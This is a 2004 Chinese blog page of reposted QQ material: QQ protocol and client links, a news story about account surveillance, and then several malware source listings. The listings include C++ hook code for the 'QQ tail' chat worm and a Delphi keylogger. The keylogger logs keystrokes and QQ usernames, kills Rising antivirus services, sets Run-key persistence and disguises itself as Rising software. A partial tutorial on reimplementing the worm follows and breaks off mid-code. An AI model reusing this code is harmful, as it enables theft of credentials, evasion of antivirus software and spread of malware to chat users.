QQ开发资料


这有isQ整理的部分qq协议
http://lumaqq.linuxsir.org/doc/Protocol%20Document%20from%20isQ.rar


www.realoa.net Delphi 的方案,无源码,有在线调试
www.anyq.net C++的方案,有源代码

lumaQQ
http://lumaqq.linuxsir.org/main/

lumaQQ集中链接贴

欢迎访问lumaqq.linuxsir.org
http://www.linuxsir.org/bbs/showthr...threadid=108131


LumaQQ Patch 2
http://www.linuxsir.org/bbs/showthr...threadid=110288

LumaQQ 发布FreeBSD解压包,具体安装方法参考在线文档
http://www.linuxsir.org/bbs/showthr...threadid=111247

LumaQQ 0.1 Beta1 Patch 1
http://www.linuxsir.org/bbs/showthr...threadid=107085

有新的QQ软件出来了!!
http://www.linuxsir.org/bbs/showthr...threadid=106715


从GTK+2.4.0到GIMP2到openQ3的完全编译方法
http://www.linuxsir.org/bbs/showthr...threadid=105467

Luma大侠注注意:LumaQQ不能接收Gaim 0.64的信息
http://www.linuxsir.org/bbs/showthr...threadid=111823

EclipseM9发布,看来LumaQQ输入法问题还是不行
http://www.linuxsir.org/bbs/showthr...threadid=111159


OpenQ
http://openq.linuxsir.org/cgi-bin/wiki/moin.cgi/

OpenQ集中链接贴

OpenQ小组网站:http://openq.linuxsir.org

OpenQ 0.3 公开测试
http://www.linuxsir.org/bbs/showthr...threadid=104399

发布OpenQ 0.3.0-p2
http://www.linuxsir.org/bbs/showthr...threadid=104881

我做了个OpenQ的BSD版补丁
http://www.linuxsir.org/bbs/showthr...threadid=107516

gaim-qq2.71p1安装方法,解决msn缺少ssl支持以及qq插件找不到的情况
http://www.linuxsir.org/bbs/showthr...;threadid=99976

Gaim QQ 0.2.7 发布了
http://www.linuxsir.org/bbs/showthr...;threadid=95807


关于邀请更多人加入OpenQ的倡议
http://www.linuxsir.org/bbs/showthr...threadid=103581

__________________

#  回复:QQ资料 2004-10-20 9:35 AM bing314
谷龙/文
  杭州的徐小姐是腾讯QQ的老用户了,不过,最近发生的一宗QQ号码被封事件,开始让徐小姐变得警觉、惊恐直至愤怒了。

  (一)事件——QQ号码被查封



  6月里的一天,徐小姐像平时一样打开电脑上网,登陆QQ时,突然弹出一个窗口,提示“禁止使用”,徐小姐试了几次,仍然是这样。徐小姐后来回忆说:“我先是通过电子邮件询问,没人理我,一个星期后,我终于忍不住打长途电话到深圳,问腾讯的客服,要她给我一个号码被封的理由。客服几分钟就查到了,说我下载了有关政治性的敏感文档,是有记录的,所以号码才会被查封。”

  记者在征得徐小姐的同意后,即以该QQ号码的使用者身份致电深圳腾讯公司,了解号码被查封的情况,在报出QQ号码和密码后,该客服人员让记者稍等,几分钟后,客服人员告诉记者,这个QQ号码在5月30日下载过敏感的信息,所以被查封,而且,“不可能要回来了”!

  按照徐小姐的回忆,她的确是曾经下载过一个文档,“如果不是腾讯有记录,我都想不起来了。可我连看都没有看全,又没有散布,这也要封号码?”更奇怪的是,徐小姐当时并没有使用腾讯的TE浏览器下载该文档。

  徐小姐怀疑,难道只要装了QQ就可以监视用户的电脑使用情况,并且可以把用户电脑中的资料回传到腾讯的服务器上?如果这是这样,那么,还有什么个人隐私可言?况且作为QQ会员的徐小姐,她本人的身份证号码、手机号码都是按照腾讯公司要求记录在案的。

  其实还不仅仅是涉及隐私问题这么简单,如果政府部门或者商业机构中有人在电脑中装有QQ,就有可能造成严重的信息外泄的安全隐患了。QQ捆绑的TE浏览器提供的“谁与我同在”的功能,就可以追踪和了解QQ用户访问了那些网站。

  (二)调查——用户信息被记录

  一位在软件安全问题方面颇有研究的业内人士向记者证实,通过Iris抓包软件,可以看到QQ在向服务器回传不明数据,并且这些数据是经过加密处理过的。

  《科学时报》刊登的一篇文章也表明,腾讯附加在QQ程序中的浏览器程序,提供的一项叫做“谁与我同在”的功能,能让任何用户都可以查到当前浏览的网页上有哪些其他的腾讯QQ用户,同时,也可以监控用户正在察看哪些页面,这些搜集来的用户浏览资料,是可以被商业化利用的。

  就在记者开始着手调查并要求对腾讯进行采访的当晚,徐小姐的QQ号码竟然自动解封,可以使用了。

  记者致电腾讯公司市场部,并通过电子邮件发送采访提纲要求采访。记者的主要问题是:

  1,QQ是否在监视每个用户的使用情况?包括访问那些网站、下载了什么文档?

  2,QQ在多大范围内监视这些信息,监视哪些信息?

  3,作为一家民营的商业性质的公司,用户的个人资讯和使用习惯如何保证不被他用?

  4,对于QQ的监视功能,如果被黑客或者其他情报机构利用,腾讯该负什么责任?

  5,对于政府部门或者商业公司的机密,腾讯是否也可以获知?

  (三)理由——企图染上政治色彩

  记者的采访提纲发出后,腾讯方面并未给予任何书面的文字答复,也没有做出正式的采访安排,而是通过北京的一家公关公司与记者联系沟通。

  该公关公司的人员按照记者留下的号码拨通了记者的电话,试图说服记者不要就此事进行追查和报道,她告诉记者,腾讯目前正处于强劲的上升趋势,而市面上各种即使通讯软件也是层出不穷,竞争十分激烈,如果因为记者的报道,引起腾讯QQ在商业上的损失,这是腾讯方面所不希望的。

  对于徐小姐QQ号码被封一事,该公关公司人士透露,是腾讯方面接到了上级有关部门的指令,才监视该用户的使用情况并封掉了她的号码,她不肯透露是是哪个部门要求腾讯这么做的,只是告诫记者,如果就此事进行报道,有可能会“牺牲”。显然是试图把商业问题蒙上一层政治色彩。而在听到这一消息后,徐小姐表示震惊和愤怒:“我怎么觉得阴森森的?把我当成国家的敌人了?”徐小姐还信誓旦旦地对记者保证,她绝没有通过QQ发布过任何不良信息,“如果有,让他们拿出证据来,发给谁了?”

  据记者调查了解到,对于网络公司及通讯软件公司,上级主管部门的确是提出过要求,对网络上有害的不良信息进行技术过滤和屏蔽,不得散布和传播,但却没有哪家公司接到过要求监视用户使用情况的指令,“真是要监视一个人,哪用得着他们呀”,一位曾作过情报工作的朋友这样告诉记者。

  (四)警惕——通讯软件安全有隐患

  一家通讯软件公司的技术人员告诉记者,在即时通讯软件中加进监控程序,在技术上不难实现,只要在用户本地机上加入几个关键词检索和过滤,就可以把关键信息传回服务器,而不用监视所有的聊天记录。

  有关人士介绍说,即时通讯软件都存在着安全隐患,作为消费者是有权知道这些的,而作为一家商业公司却没有权利监视跟踪用户操作记录的,尊重和保护用户的隐私及安全是国际上的通行商业准则。

  据赛迪网报道,6月14日,美国纽约州首席检察官办公室表示,AOL时代华纳旗下的Netscape将支付10万美元和解金,该公司因使用追踪用户下载情况的软件而遭投诉。

  另一方面,由于QQ本身的安全性能缺陷,针对QQ的各种黑客软件也在不断增长,在中国软件史上,QQ应该是受各种攻击最多的在线即时通讯软件。不少商业公司已经意识到QQ的安全问题,北京的一些单位和商业公司里,是严禁使用QQ软件的。

  在记者发稿前,腾讯方面通过电子邮件,给编辑发来了书面答复意见,而杭州的徐小姐却表示不会善罢甘休,她要“打电话问问看”。但无论如何,腾讯记录了该用户的使用信息,这不能不引起更多的使用者对网络通讯软件的安全问题引起重视。

  附录:腾讯公司的书面答复意见 

  谷龙你好:

  关于就杭州用户号码被封一事所发来的提纲,腾讯公司的正式答复如下,希望你凭着客观公正的态度去报道。

  首先需要严正申明的一点是,海量的信息之下,腾讯公司采取点对点的消息收发方式,决定了腾讯不能去监视用户在电脑上的操作情况。任何进行不实情况的报道的单位或个人,则需负相应责任。至于你邮件中说到的检测情况,在操作人员背景、网络环境、使用软件,操作步骤都不清楚的情况下,我们无法判断这个检测的真实性,更无法回应。

  作为一种即时通信软件,腾讯QQ在技术上采用的原理是一种点对点的方式。也就是说,在大部分情况下,用户之间的沟通是从一个用户到另一个用户,不需要通过腾讯服务器的中转。只有在网络不稳,网络情况复杂或用户下线等特殊情况下,腾讯服务器才会帮助用户保存并中转留言。按照上级的网络安全信息处理的规定,通过服务器中转的留言,作为腾讯公司发出的消息,将会经过信息安全的过滤机制,该名用户正是因为通过腾讯服务器中转了含有敏感词汇的留言内容,因此腾讯做了封号处理。至于后来解封,是因为该用户的留言内容虽含有敏感内容,但还不属于有意传播非法内容的情况。为了保障用户权益,我们对这个号码做了解封的处理。

  腾讯公司一向注重并保护用户隐私。关于该用户的留言内容,发送时间与对方号码,腾讯目前不能提供。

  如有需要,腾讯会在法律手续齐全的情况下提供。

  腾讯QQ为海量用户提供服务,每天有超过两千万用户上线沟通、聊天。发送消息量在10亿条/天左右,腾讯无必要也无能力保存每位用户的每条留言纪录,更谈不上监视一亿六千万用户的电脑使用行为。

  在主管部门的要求下,腾讯会配合主管部门对网络安全工作进行协助,并按主管部门要求做一些处理。一切行为均符合有关规定与要求。

  腾讯公司

  2003年6月23日


删除


#  回复:QQ资料 2004-10-20 9:59 AM bing314

作者 cnss 2004-8-18
版权所有 转载请注明出处
http://blog.csdn.net/cnss

最近写了个比qqwry好的格式,点这里查看.

刚才通过RSS看到一篇关于QQwry格式的blog: http://blog.csdn.net/taft/archive/2004/08/18/77559.aspx


想不到QQwry还在用,这是俺两年前设计的,这个格式该被淘汰了.为什么这么说呢,因为它采用的是索引+二分查找来减小内存占用和提高查找速度.


删除


#  回复:QQ资料 2004-10-20 2:20 PM bing314
QQ2004的Rich句柄查找方法以及尾巴病毒的实现
stevecrisewu的专栏
http://blog.csdn.net/stevecrisewu/archive/2004/09/16/106984.aspx

看到好多人都在问QQ方面的问题,主要是关于研究QQ尾巴的问题,网络上已经有很多这方面的例子,但是在用到作者提供的代码时候,不能够正确的找到RICHEDIT,因此无法挂接钩子,下面这个方法,应该是可以,同时附带上qqhook的源代码。

其实关键是2004版本的qq它做了手脚,在原来的窗体上又增加了一个窗体,因此,用原作者的方法就不能找到rich窗口的句柄了。

测试cpp

#include
//#include

#include "QQHook.h"
#pragma comment(lib, "QQHook.lib")
#include "resource.h"
#define ID_MYTIMER 419 // ¼ÆʱÆ÷ID
BOOL g_bStart;
HWND g_hQQ;
LRESULT CALLBACK ProcMain(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
? switch (Msg)
? {
? case WM_CLOSE:
?//?? AnimateWindow(hDlg, 800, AW_HIDE | AW_SLIDE | AW_VER_POSITIVE);
??? EndDialog(hDlg, 0);
??? break;
? case WM_COMMAND:
??? {
????? if (LOWORD(wParam) == IDC_BTN_CONTROL)
????? {
??????? g_bStart = !g_bStart;
??????? SetDlgItemText(hDlg, IDC_BTN_CONTROL, g_bStart ? "Í£Ö¹" : "¿ªÊ¼");
??????? if (g_bStart)
????????? SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
??????? else
??????? {
????????? KillTimer(hDlg, ID_MYTIMER);
????????? SetHook(NULL);
??????? }
????? }
????? if (LOWORD(wParam) == IDC_BTN_EXIT)
??????? SendMessage(hDlg, WM_CLOSE, 0, 0);
??? }
??? break;
? case WM_DESTROY:
??? PostQuitMessage(0);
??? break;
? case WM_INITDIALOG:
??? {
????? int x, y;
????? RECT rect;
????? g_bStart = FALSE;
????? GetWindowRect(hDlg, &rect);
????? x = GetSystemMetrics(SM_CXSCREEN) - rect.right + rect.left;
????? y = GetSystemMetrics(SM_CYMAXIMIZED) - rect.bottom + rect.top - 10;
????? SetWindowPos(hDlg, HWND_TOPMOST, x, y, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
?? //?? AnimateWindow(hDlg, 800, AW_SLIDE | AW_VER_NEGATIVE);
??? }
??? break;
? case WM_TIMER:
??? {
????? if (!IsWindow(g_hQQ))
????? {???????
??????? HWND hwnd;
??HWND hSend;
??//?CWnd *myWnd;
??int nIdFirst;
??int flag;
??char lpbuf[256];
??//??DWORD a;
??????? g_hQQ = NULL;
??hwnd=NULL;
??hSend=NULL;
??????? SetHook(NULL);
??//? do
??//? {
??//??? g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);???
??
??//?? GetWindowText(g_hQQ,lpbuf,255);?
??
??//? if(strcmp(lpbuf,"Óë ·É ÁÄÌìÖÐ")==0)break;
??//?? hSend = FindWindowEx(g_hQQ,NULL, "Button", "·¢ËÍ(&S)");??
??
??//? } while(!(g_hQQ != NULL && hSend != NULL));
??nIdFirst=0;
??flag=0;
??while(1)
??{
???g_hQQ=FindWindowEx(NULL, g_hQQ, "#32770", NULL);
???if(g_hQQ==NULL)break;
???GetWindowText(g_hQQ,lpbuf,256);???
???hwnd=GetWindow(g_hQQ,GW_CHILD);

???if(hwnd||::IsWindow(hwnd))
???{
????nIdFirst=GetDlgCtrlID(hwnd);
????do
????{
?????GetClassName(hwnd,lpbuf,256);???
?????if(strcmp(lpbuf,"#32770")==0)
?????{
??????hSend=FindWindowEx(hwnd,hSend,"Button","·¢ËÍ(&S)");
??????if(hSend)
??????{
???????flag=1;
???????g_hQQ=hwnd;
???????break;
??????}
?????}
?????GetWindowText(hwnd,lpbuf,256);???
?????hwnd=::GetWindow(hwnd,GW_HWNDNEXT);??
?????if(!::IsWindow(hwnd) || hwnd==NULL)??break;
????}while(nIdFirst != GetDlgCtrlID(hwnd));?
???}?
???if(flag)break;
??}
??????? if (g_hQQ != NULL)
????????? SetHook(g_hQQ);
????? }
??? }
??? break;
? }
? return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
? DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)ProcMain, 0);
? DWORD a=GetLastError();
? return 0;
}

?

qq hook 源代码

cpp文件

#include
#define QQTAILAPI __declspec(dllexport)
#include "QQHook.h"
// ¶¨Òå¹²ÏíÊý¾Ý¶Î
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // ´°¿Ú¹ý³Ì¹³×Ó¾ä±ú
HHOOK g_hKey = NULL; // ¼üÅ̹³×Ó¾ä±ú
HWND g_hRich = NULL; // Îı¾¿ò¾ä±ú
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
// DLL¾ä±ú
HINSTANCE g_hInstDLL = NULL;
// Îҵġ°Î²°Í¡±
TCHAR g_str[] = "/n¶Ô²»Æð£¬ÄúÒѾ-±»½ûÖ¹ÁÄÌ죡";
// º¯Êý¹¦ÄÜ£ºÏòÎı¾¿òÖÐÕ³Ìùβ°Í
void PasteText(HWND hRich)
{
? HGLOBAL hMem;
? LPTSTR pStr;
? // ·ÖÅäÄÚ´æ¿Õ¼ä
? //SendMessage(hRich,WM_SETTEXT,0,LPARAM(""));
? hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
? pStr = (LPTSTR)GlobalLock(hMem);
? lstrcpy(pStr, g_str);?
? GlobalUnlock(hMem);
? OpenClipboard(NULL);
? EmptyClipboard();
? // ÉèÖüôÌù°åÎı¾
? SetClipboardData(CF_TEXT, hMem);
? CloseClipboard();
? // ÊÍ·ÅÄÚ´æ¿Õ¼ä
? GlobalFree(hMem);
? // Õ³ÌùÎı¾
? SendMessage(hRich, WM_PASTE, 0, 0);
}
// ¹³×Ó¹ý³Ì£¬¼àÊÓ¡°·¢ËÍ¡±µÄÃüÁîÏûÏ¢
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
? CWPSTRUCT *p = (CWPSTRUCT *)lParam;
? // ²¶»ñ¡°·¢ËÍ¡±°´Å¥
? if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
??? PasteText(g_hRich);
? return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// ¼üÅ̹³×Ó¹ý³Ì£¬¼àÊÓ¡°·¢ËÍ¡±µÄÈȼüÏûÏ¢
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
? // ²¶»ñÈȼüÏûÏ¢
? if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
??? PasteText(g_hRich);
? return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
// ¹Ò½Ó¹³×Ó
BOOL WINAPI SetHook(HWND hQQ)
{
? BOOL bRet = FALSE;
? if (hQQ != NULL)
? {
??? DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
??? // ¸ÐлºÃÓÑhotteyµÄ²éÕÒ´úÂ룬ʡȥÁËÎÒʹÓÃSpy++µÄÂé·³
??? g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
??? if (g_hRich == NULL)
????? return FALSE;
??? // ¹Ò½Ó¹³×Ó
??? g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
??? g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
??? bRet = (g_hProc != NULL) && (g_hKey != NULL);
? }
? else
? {
??? // жÔع³×Ó
??? bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
??? g_hProc = NULL;
??? g_hKey = NULL;
??? g_hRich = NULL;
? }
? return bRet;
}
// DLLÖ÷º¯Êý
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
? if (fdwReason == DLL_PROCESS_ATTACH)
??? g_hInstDLL = hinstDLL;
? return TRUE;
}

?

头文件

#ifndef QQTAILAPI
#define QQTAILAPI __declspec(dllimport)
#endif
QQTAILAPI BOOL WINAPI SetHook(HWND hQQ);

?



版权声明:CSDN是本Blog托管服务提供商。如本文牵涉版权问题,CSDN不承担相关责任,请版权拥有者直接与文章作者联系解决。


删除


#  回复:QQ资料 2004-10-20 2:33 PM bing314
标题 qq2004hack 选择自 msfm 的 Blog
关键字 qq2004hack
出处

感谢 sforever 提供帮助
hookkey: string;
hHook: integer;
Creeper,creeper1:TextFile;
ahwnd,comboboxh:thandle; //句柄
qqformid:HWND;
user:array[0..254] of char;
SendBody:string;
PSmtp,PUser,PPass,PGetMail,PTOMail,Subject,MailText:String;
implementation
//找QQ聊天窗口
function FpopoID(ahwnd:hwnd;w:integer):boolean;stdcall;
var wintext:pchar;
begin
result:=true;
getmem(wintext,100);
getwindowtext(ahwnd,wintext,100);
if Pos('与',WinText)>0 then
begin
TrySendMail;
Sleep(100);
UnHookWindowsHookEx(hHook);
hHook := 0;
Application.Terminate;
end;
end;

function FmsgIDedit(ahwnd:hwnd;w:integer):boolean;stdcall;
var
f:TextFile;
begin
result:=true;
comboboxh:=FindWindowEx(qqformid,0,'ComboBox',nil);
SendMessage(comboboxh,WM_GETTEXT,254,Integer(@user));
if trim(user)<>'' then
begin
assignfile(f,GetWinDir+'name.txt');
rewrite(f);
write(f,'QQ 用户名:'+user);
closefile(f);
exit;
end;
end;
function FqqID(ahwnd:hwnd;w:integer):boolean;stdcall;
var wintext:pchar;
begin
getmem(wintext,100);
GetClassName(ahwnd,wintext,100);
if wintext='#32770' then
begin
qqformid:=ahwnd; //得到QQ窗口句柄
if qqformid<>0 then
begin
result:=true;
enumchildwindows(qqformid,@fmsgidedit,0); // 暂且注销
end;
end;
end;
function Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := '[Print Screen]';
case lp of
10688: result := '`';
561: Result := '1';
818: result := '2';
1075: result := '3';
1332: result := '4';
1589: result := '5';
1846: result := '6';
2103: result := '7';
2360: result := '8';
2617: result := '9';
2864: result := '0';
3261: result := '-';
3515: result := '=';
4177: result := 'Q';
4439: result := 'W';
4677: result := 'E';
4946: result := 'R';
5204: result := 'T';
5465: result := 'Y';
5717: result := 'U';
5961: result := 'I';
6223: result := 'O';
6480: result := 'P';
6875: result := '[';
7133: result := ']';
11228: result := '/';
7745: result := 'A';
8019: result := 'S';
8260: result := 'D';
8518: result := 'F';
8775: result := 'G';
9032: result := 'H';
9290: result := 'J';
9547: result := 'K';
9804: result := 'L';
10170: result := ';';
10462: result := '''';
11354: result := 'Z';
11608: result := 'X';
11843: result := 'C';
12118: result := 'V';
12354: result := 'B';
12622: result := 'N';
12877: result := 'M';
13244: result := ',';
13502: result := '.';
13759: result := '/';
13840: result := '[Right-Shift]';
14624: result := '[Space]';
283: result := '[Esc]';
15216: result := '[F1]';
15473: result := '[F2]';
15730: result := '[F3]';
15987: result := '[F4]';
16244: result := '[F5]';
16501: result := '[F6]';
16758: result := '[F7]';
17015: result := '[F8]';
17272: result := '[F9]';
17529: result := '[F10]';
22394: result := '[F11]';
22651: result := '[F12]';
10768: Result := '[Left-Shift]';
14868: result := '[CapsLock]';
3592: result := '[Backspace]';
3849: result := '[Tab]';
7441:
if wp > 30000 then
result := '[Right-Ctrl]'
else
result := '[Left-Ctrl]';
13679: result := '[Num /]';
17808: result := '[NumLock]';
300: result := '[Print Screen]';
18065: result := '[Scroll Lock]';
17683: result := '[Pause]';
21088: result := '[Num0]';
21358: result := '[Num.]';
20321: result := '[Num1]';
20578: result := '[Num2]';
20835: result := '[Num3]';
19300: result := '[Num4]';
19557: result := '[Num5]';
19814: result := '[Num6]';
18279: result := '[Num7]';
18536: result := '[Num8]';
18793: result := '[Num9]';
19468: result := '[*5*]';
14186: result := '[Num *]';
19053: result := '[Num -]';
20075: result := '[Num +]';
21037: result := '[Insert]';
21294: result := '[Delete]';
18212: result := '[Home]';
20259: result := '[End]';
18721: result := '[PageUp]';
20770: result := '[PageDown]';
18470: result := '[UP]';
20520: result := '[DOWN]';
19237: result := '[LEFT]';
19751: result := '[RIGHT]';
7181: result := '[Enter]';
end;
end;
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
var
creeper:TextFile;
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then
hookkey := hookkey + Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
if length(hookkey) > 0 then
begin
IF enumwindows(@fqqid,0) then
begin
AssignFile(Creeper, getwindir+'key.txt');
if FileExists(getwindir+'key.txt') then
begin
Rewrite(creeper);
Writeln(creeper, hookkey);
closefile(Creeper);
end;
end;
end ;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
myname:string;
batchfilename:string;
bfile:TextFile;
sysdir:string;
noti:PNotifyIconData;
begin
Application.ShowMainForm:=False;

sysdir:=getwindir;
BatchFileName :=sysdir+'killrav.bat';
AssignFile(BFile, BatchFileName);
Rewrite(BFile);
Writeln(BFile, '@net stop RsCCenter');
Writeln(BFile, '@net stop rsravmon');
Writeln(BFile, '@close ');
CloseFile(BFile);
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> sysdir + myname then //
begin
copyfile(pchar(application.Exename), pchar(sysdir + myname), False);
end;
with TRegistry.Create do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('/SOFTWARE/Microsoft/Windows/CurrentVersion/Run', TRUE );
WriteString( 'system,rundll', sysdir+'RavMom.exe' );
free;
end;
assignfile(creeper,sysdir+'key.txt');
if not FileExists(sysdir+'key.txt') then
begin
rewrite(creeper);
closefile(creeper);
end;
assignfile(creeper1,sysdir+'name.txt');
if not FileExists(sysdir+'name.txt') then
begin
rewrite(creeper1);
closefile(creeper1);
end;
WinExec(pchar(sysdir+'killrav.bat'),sw_hide);
hHook := 0;
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
noti:=new(PNotifyIconData);
noti.cbSize:=80;
noti.Wnd:=form1.handle;
noti.uID:=0;
noti.szTip:='瑞星计算机监控';
noti.hIcon:=form1.icon.handle;//瑞星图标
noti.uFlags:=NIF_MESSAGE or NIF_ICON or NIF_TIP;
Shell_NotifyIcon(NIM_ADD,noti);

end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
enumwindows(@fpopoid,0);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
DeleteFile(getwindir+'key.txt');
DeleteFile(getwindir+'name.txt');
DeleteFile(getwindir+'killrav.bat');
end;

end.




删除


#  回复:QQ资料 2004-10-20 2:35 PM bing314
标题 从进程里得到比如说QQ.exe的句柄 选择自 cso 的 Blog
关键字 从进程里得到比如说QQ.exe的句柄
出处

函数定义我没加,自己找找加上吧!

Dim uSnapShot As Long '系统快照返回值
Dim uResult As Long '遍历进程返回值
Dim uProcess As PROCESSENTRY32 '定义进程结构变量
Dim meHandle As Long '进程句柄

uSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) '建立系统快照
uProcess.dwSize = Len(uProcess) '初始化进程信息长度

If uSnapShot Then
uResult = Process32First(uSnapShot, uProcess) '取得第一个进程
Do While uResult

If InStr(Left(uProcess.szexeFile, InStr(uProcess.szexeFile, Chr(0)) - 1), "QQ.exe") > 0 Then
meHandle = OpenProcess(PROCESS_ALL_ACCESS, True, uProcess.th32ProcessID)
'meHandle中就是你想要的QQ的句柄
End If
uResult = Process32Next(uSnapShot, uProcess) '取得快照中的下一个进程
Loop
End If




删除


#  回复:QQ资料 2004-10-20 2:44 PM bing314
标题 利用SDK开发“窃取QQ登陆密码”程序 选择自 3661512 的 Blog
关键字 SDK QQ 密码
http://dev.csdn.net/develop/article/26/26112.shtm
删除


#  回复:QQ资料 2004-10-20 2:45 PM bing314
http://dev.csdn.net/develop/article/24/24144.shtm

标题 “QQ尾巴病毒”核心技术的实现 选择自 titilima 的 Blog
关键字 QQ尾巴病毒
出处

  声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何破坏。
  2003这一年里,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。下图就是染毒后的QQ发送的消息,其中中毒者只打了“你好”两个字,其它的就全是病毒的杰作了。

  下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。

粘贴尾巴

  首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下:
TCHAR g_str[] = "欢迎来我的小站坐坐:http://titilima.nease.net";
// 函数功能:向文本框中粘贴尾巴
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
// 分配内存空间
hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
pStr = GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
// 设置剪贴板文本
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
// 释放内存空间
GlobalFree(hMem);
// 粘贴文本
SendMessage(hRich, WM_PASTE, 0, 0);
}

钩子

  好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
  这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了……
  然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。
  讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。
  首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。
  问题具体到了“QQ尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):
// 钩子过程,监视“发送”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“发送”按钮
if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
PasteText(g_hRich);
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
  在此我对这个回调过程说明几点:
  1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;
  这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。
  2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。
  3、CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。
  4、你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明:
#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
// QQ发送消息对话框回调过程·李马伪造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_BTN_SENDMSG:
